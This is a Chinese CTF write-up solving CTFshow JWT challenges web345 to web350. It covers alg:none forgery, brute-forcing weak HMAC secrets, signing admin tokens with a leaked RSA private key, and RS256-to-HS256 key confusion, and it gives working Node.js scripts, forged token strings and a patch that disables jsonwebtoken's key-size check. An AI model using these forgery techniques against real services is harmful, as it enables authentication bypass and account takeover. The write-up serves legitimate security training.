CTFshow JWT web345
先看题目,提示admin。
![](https://file.jishuzhan.net/article/1687060489537851394/502d68df5ec3497ab3310ee7cb6efcf6.png)
抓个包看看看。
![](https://file.jishuzhan.net/article/1687060489537851394/1ad7d2ddec604f19b135cf46469cbfcf.png)
好吧我不装了,其实我知道是JWT。直接开做。
在jwt.io转换后,发现不存在第三部分的签证,也就不需要知道密钥。
全称是JSON Web Token。
通俗地说,JWT的本质就是一个字符串 ,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。
JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串
JWTString = Base64(Header).Base64(Payload).HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
这里只需要注意访问的是/admin/而不是/admin因为访问/admin表示访问admin.php而访问/admin/表示访问的是admin目录下默认的index.php
base64解码之后user改成admin再编码。
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2ODA1MDY0NzYsImV4cCI6MTY4MDUxMzY3NiwibmJmIjoxNjgwNTA2NDc2LCJzdWIiOiJhZG1pbiIsImp0aSI6ImQxNjI3NDRhZDZiMTk0ZDk4MmEzNjcwMTkzMmFlZTFiIn1d
//不知道为什么出不来
CTFshow JWT web346
这次有算法了。
![](https://file.jishuzhan.net/article/1687060489537851394/5172a4ddec194d4daf4c5d9aea4f1c11.png)
法一:alg字段改为none,sub改为admin脚本加密。(后面一定要加点)
![](https://file.jishuzhan.net/article/1687060489537851394/d2cbc4e2674046caa545d4f2bbd5e361.png)
法二:爆破密钥。是123456
CTFshow JWT web347
题目提示弱口令。
方法一:脚本爆破。
方法二: jwt-cracker工具爆破。
用法:
kali文件夹开终端
sudo su换成root
docker run -it --rm jwtcrack JWT字符串
获取密码为123456,在官网上面输入密码,改成admin,自动会给我们想要的jwt字符串。 //六位有点慢,快一个小时了,不爆了。
payload:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDUzODIxMSwiZXhwIjoxNjgwNTQ1NDExLCJuYmYiOjE2ODA1MzgyMTEsInN1YiI6ImFkbWluIiwianRpIjoiOTY2YTNhMmQyMDc2YzY5M2NmMmNjMDMyZTI2Mzc2YWQifQ.DhAEchqVrSifkRd7vHUhXG2fezIUGZq4LDyvUdhdEc0
CTFshow JWT web348
jwt-cracker工具爆破,密钥是aaab,秒出。
![](https://file.jishuzhan.net/article/1687060489537851394/153e907284974d329ac4114bb151e59b.png)
CTFshow JWT web349
考点:公私钥泄密之【私钥】泄密。
还是JWT,不过这次变成了安全度更高的公私钥加密。
题目自带一个附件app.js
,估计是源码。
![](https://file.jishuzhan.net/article/1687060489537851394/fa9fb8015695459991f8fceba046c28a.png)
js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
可以看到,题目把私钥和公钥放在了web目录,我们访问就可以直接下载,造成了私钥公钥的泄露。
![](https://file.jishuzhan.net/article/1687060489537851394/1f410b58ee3e4271849d75f397d4a9af.png)
![](https://file.jishuzhan.net/article/1687060489537851394/edcb133203db41ed9195f857e8c5fac9.png)
有了公私钥,我们就能生成JWT签名了,这里我们选择使用NodeJs
脚本来生成签名。
js
const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync(process.cwd()+'\\private.key');
// console.log(privateKey);
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)
环境准备:
1、安装node
,安装完之后cmd
输入node
查看是否安装成功。
![](https://file.jishuzhan.net/article/1687060489537851394/d28624bd3f1f4a6caf8e74b8f9007997.png)
2、从脚本代码const jwt = require('jsonwebtoken');
中看出,我们需要安装jsonwebtoken
(jwt)模块。安装指令如下:(指令在cmd输入)
npm install jsonwebtoken --save
![](https://file.jishuzhan.net/article/1687060489537851394/48ffcb73adab481b9ca7f76caaf51e5f.png)
也可以直接在编译器里面安装。
![](https://file.jishuzhan.net/article/1687060489537851394/cf4bd3afdaa34f29914ba7b06cc3d929.png)
3、准备就绪,运行脚本却发现报错secretOrPrivateKey has a minimum key size of 2048 bits for RS256
。意思是私钥最短长度要2048,这题的私钥太短了。
![](https://file.jishuzhan.net/article/1687060489537851394/c4ad765d6a134de1bda0180195bb614e.png)
产生报错的原因是,JWT版本15以后不支持小密钥,要求密钥最短长度是2048。
大师傅的馊主意(能解决问题但是不提倡):修改JWT的源码
找到\node_modules\jsonwebtoken
目录,选择sign.js
文件。
![](https://file.jishuzhan.net/article/1687060489537851394/b06e8bf64c58453ebf46284a9f27f998.png)
注释130
和243
行。防止他报错。
![](https://file.jishuzhan.net/article/1687060489537851394/28fd39ad085d4fb9a863280090063a36.png)
![](https://file.jishuzhan.net/article/1687060489537851394/e0c3cba810a247f7a557b8a38babe671.png)
然后就可以成功生成了。
![](https://file.jishuzhan.net/article/1687060489537851394/2f75a3f7eb4048df9f74a0ed4ecd5985.png)
根据源码,咱们修改完JWT直接根目录POST就能拿到flag。
![](https://file.jishuzhan.net/article/1687060489537851394/1e49f7d5821243b0bf5ff690db9b871a.png)
做后发现,JWT网站也支持使用公私钥伪造,要是下次私钥长度大于2048就直接用网站吧。
![](https://file.jishuzhan.net/article/1687060489537851394/9e39969caba44bc48d7942074bd5cb57.png)
CTFshow JWT web350
考点:公私钥泄密之【公钥】泄密。
可以根据公钥,修改算法从 非对称算法(比如RS256) 到 对称密钥算法(HS256)
双方都使用公钥验签,顺利篡改数据
当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密
实现验签通过
开题之后界面还是一样。
![](https://file.jishuzhan.net/article/1687060489537851394/7895bfb522ad47a885152c13fb031b2a.png)
拿JWT先去网站分析一下,修改点还是user
,我们的目标是user=admin
。
![](https://file.jishuzhan.net/article/1687060489537851394/1352701890fa4180b7866dcf984381bc.png)
还是一样,有公钥泄露。但是没有私钥泄露。
![](https://file.jishuzhan.net/article/1687060489537851394/adefcdfc9f0c43ac814cd1a1623a79b3.png)
脚本如下:
js
const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
// console.log(privateKey);
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
![](https://file.jishuzhan.net/article/1687060489537851394/686d78af90354f0dabab09eee2811add.png)
得到flag。
![](https://file.jishuzhan.net/article/1687060489537851394/6c96f78a66b54a7abd1950ef0bcba1e3.png)
题目有提供源码,简单看看。
![](https://file.jishuzhan.net/article/1687060489537851394/7e32699971e04e939e81b43d5fcc33d1.png)
其他不看了,就看app.js
。其他如node_modules
文件夹其实是Node环境,没啥好看的。
app.js
js
var createError = require('http-errors'); // 导入 'http-errors' 模块,用于创建 HTTP 错误
var express = require('express'); // 导入 'express' 模块,用于创建 Web 应用
var ejs = require('ejs'); // 导入 'ejs' 模块,用于渲染 HTML 模板
var path = require('path'); // 导入 'path' 模块,用于处理文件路径
var cookieParser = require('cookie-parser'); // 导入 'cookie-parser' 模块,用于解析 Cookie
var logger = require('morgan'); // 导入 'morgan' 模块,用于日志记录
var session = require('express-session'); // 导入 'express-session' 模块,用于会话管理
var FileStore = require('session-file-store')(session); // 导入 'session-file-store' 模块,用于将会话信息存储到文件中
var indexRouter = require('./routes/index'); // 导入 './routes/index' 模块,用于处理根路由请求
var app = express(); // 创建 Express 应用的实例
// 设置会话配置
var identityKey = 'auth'; // 定义用于标识会话的键名
app.use(session({
name: identityKey, // 设置会话的名称
secret: 'ctfshow_session_secret', // 设置用于加密会话数据的密钥
store: new FileStore(), // 设置会话数据存储方式为 'session-file-store',即将会话信息存储到文件中
saveUninitialized: false, // 设置不保存未初始化的会话
resave: false, // 设置不重新保存会话
cookie: {
maxAge: 60 * 60 * 1000 // 设置会话的有效期为 1 小时(单位是毫秒)
}
}));
// 设置视图引擎
app.set('views', path.join(__dirname, 'views')); // 设置视图文件的路径为当前目录下的 'views' 目录
app.engine('html', require('ejs').__express); // 使用 'ejs' 引擎渲染 HTML 模板
app.set('view engine', 'html'); // 设置视图引擎为 'html'
app.use(logger('dev')); // 使用 'dev' 格式的日志记录
app.use(express.json()); // 解析 JSON 请求体
app.use(express.urlencoded({ extended: false })); // 解析 URL 编码请求体
app.use(cookieParser()); // 解析 Cookie
app.use(express.static(path.join(__dirname, 'public'))); // 设置静态文件目录为当前目录下的 'public' 目录
app.use('/', indexRouter); // 使用导入的路由模块来处理根路由请求
// 捕获 404 错误并转发到错误处理中间件
app.use(function(req, res, next) {
next(createError(404)); // 创建 404 错误,并转发给下一个中间件或错误处理中间件
});
// 错误处理中间件
app.use(function(err, req, res, next) {
// 设置本地变量,仅在开发环境中提供错误信息
res.locals.message = err.message; // 错误消息
res.locals.error = req.app.get('env') === 'development' ? err : {}; // 判断是否为开发环境,若是则提供错误对象
// 渲染错误页面,返回错误状态码或默认 500 状态码
res.status(err.status || 500); // 设置响应状态码为错误状态码或默认 500 状态码
res.render('error', {msg:err.message}); // 渲染名为 'error' 的模板,传入错误消息作为参数
});
module.exports = app; // 导出创建的 Express 应用实例
?????我怎么感觉这是NodeJs原型链污染的源码包。。。。